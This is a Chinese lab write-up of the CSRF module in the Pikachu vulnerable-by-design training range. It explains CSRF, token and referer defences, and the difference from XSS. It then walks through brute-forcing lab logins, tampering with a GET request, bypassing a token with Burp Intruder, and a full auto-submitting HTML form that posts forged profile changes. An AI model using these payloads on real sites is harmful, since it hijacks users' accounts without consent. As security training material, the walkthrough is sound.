Pikachu靶场系列持续更新~
要像追剧追番一样追下去哦
实验三 —— CSRF
CSRF概述
跨站请求伪造简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。
CSRF类型判断
GET:
先去掉参数尝试能否正常请求。如果可以,即存在CSRF漏洞。
POST:
如果有token等验证参数,先去掉参数尝试能否正常请求。如果可以,再去掉referer参数的内容,如果仍然可以,说明存在CSRF漏洞,可以利用构造外部form表单的形式,实现攻击。如果直接去掉referer参数请求失败,这种还可以继续验证对referer的判断是否严格,是否可以绕过。
应对CSRF的安全措施
–对敏感信息的操作增加安全的token、referer;
–对敏感信息的操作增加安全的验证码;
–对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等
–同源策略:协议、域名、端口相同的两个网页才可以共用cookie
Token防御
在请求参数中加入token,服务器在接受到请求后, 返回给用户两个token值。
一个放在cookie信息中,浏览器会保存,下次请求的时候浏览器自动携带。
一个放在前端页面中,当用户再次向服务器发送数据的时候。
服务器会对比cookie中和前端页面中的csrf_token值,如果一样,证明是用户操作,如果不一样,证明是非法操作。
CSRF与XSS的区别
CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限;而XSS是直接盗取到了用户的权限,然后实施破坏。
实验环境
我用的是phpstudy集成环境,一键搭环境 (如果端口没被占用还是比较顺利的)
靶场:Pikachu靶场下载
工具:burpsuite
接下来:
–>把下载下来的pikachu文件夹放到web服务器根目录下
–>根据实际情况修改inc/config.inc.php里面的数据库连接配置(登录名和密码要与数据库相同)
–>访问http://x.x.x.x/pikachu,会有一个红色的热情提示"欢迎使用,pikachu还没有初始化,点击进行初始化安装!",点击即可完成安装。
CSRF——get
需要登录,之前的"admin,123456“登陆失败,所以需要重新爆破
爆破得到,账号有vince/allen/kobe/grady/kevin/lucy/lili,密码全部是123456
点击”修改个人信息“
抓包得到Get型的请求头部。尝试修改add参数,然后浏览器新标签输入url打开
CSRF——post
抓包发现是post传参
尝试构造form表单CSRF_post.html,点击链接恶意修改个人信息
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://[站点IP/域名]/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="hacker" />
<input id="phonenum" type="text" name="phonenum" value="11111111111" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="hacker@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
访问该表单后,个人信息就发生了变化
CSRF——Token
抓包发现是一个get型的token
在这里我利用了暴力破解绕token的方式绕token值,丢进intruder
add参数是为了修改信息
(详细过程参考”Pikachu系列——暴力破解“)
应该算成功了吧,点击响应包的render,发现add参数已变
GOT IT!
******************************************************
这一CSRF模块先搞定了,关注收藏追更哦~